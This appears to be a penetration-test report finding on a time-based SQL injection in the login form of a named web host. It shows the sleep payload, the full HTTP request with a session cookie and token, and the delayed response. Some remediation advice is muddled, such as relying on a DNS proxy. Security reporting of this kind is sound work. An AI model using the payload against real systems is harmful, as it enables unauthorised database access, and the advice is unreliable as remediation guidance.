

Security Assessment Report

Prepared For



Report Issued: March 6, 2022

1 – SQL Injection

HIGH RISK (8/10)	
Exploitation Likelihood	Possible
Business Impact	Severe
Remediation Difficulty	Meduim

Security Implications

SQL Injection is a code injection technique used to modify or retrieve data from SQL databases. By inserting specialized SQL statements into an entry field, an attacker is able to execute commands that allow for the retrieval of data from the database, the destruction of sensitive data, or other manipulative behaviors.

With the proper SQL command execution, the unauthorized user is able to spoof the identity of a more privileged user, make themselves or others database administrators, tamper with existing data, modify transactions and balances, and retrieve and/or destroy all server data.

Analysis

The username parameter appears to be vulnerable to SQL injection attacks. The payload `'+(select*from(select(sleep(20)))a)+'` was submitted in the username parameter. The application took 20191 milliseconds to respond to the request, compared with 915 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

```
Request
Pretty Raw Hex [icon] [icon] [icon]
1 POST /login.php HTTP/1.1
2 Host: efolder.bemplc.co.th
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
7 Connection: close
8 Cache-Control: max-age=0
9 Referer: https://efolder.bemplc.co.th/login.php
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 107
12 Cookie: PHPSESSID=7dcpu2lgnt2e69ucv9etgoasb3
13
14 username=t'%2b(select*from(select(sleep(20)))a)%2b'&pass=pass&token=
  cb66039a98f3590df59c4f6db5cff799&submit
? [icon] [icon] [icon] Search... 0 matches
Done
```

Figure 1: The HTTP post method inject time delay via username parameter

```
Response
Pretty Raw Hex Render [icon] [icon] [icon]
1 HTTP/1.1 200 OK
2 Date: Sun, 06 Mar 2022 20:38:27 GMT
3 Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
4 X-Powered-By: PHP/7.3.10
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Content-Length: 5841
9 Connection: close
10 Content-Type: text/html; charset=utf-8
11
12 <script language='javascript'>
13   alert('????????????????????????????????????????????');
14 </script><meta http-equiv=refresh content=0;URL=login.php>
15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
16 <!--[if IE 8]><html lang="en" class="ie8"></html><![endif]-->
  <!--[if IE 9]><html lang="en" class="ie9"></html><![endif]-->
  <!--[if !IE]><!--
17 <html xmlns="http://www.w3.org/1999/xhtml">
18 <!--<![endif]-->
19 <head>
20   <meta http-equiv="Content-Type" content="text/html;
    charset=utf-8" />
? [icon] [icon] [icon] Search... 0 matches
6,171 bytes | 20,191 millis
```

Figure 2: The HTTP response show time delay 20191 milliseconds

Recommendations

- Check out MySQL queries username parameter in the login.php.
- Use DNS proxy such as Cloudflare DNS to prevent malicious of HTTP request. If you need it.
- Don't use the Client side to reject input special character (with JavaScript code).

References (opt)

- https://owasp.org/www-community/attacks/SQL_Injection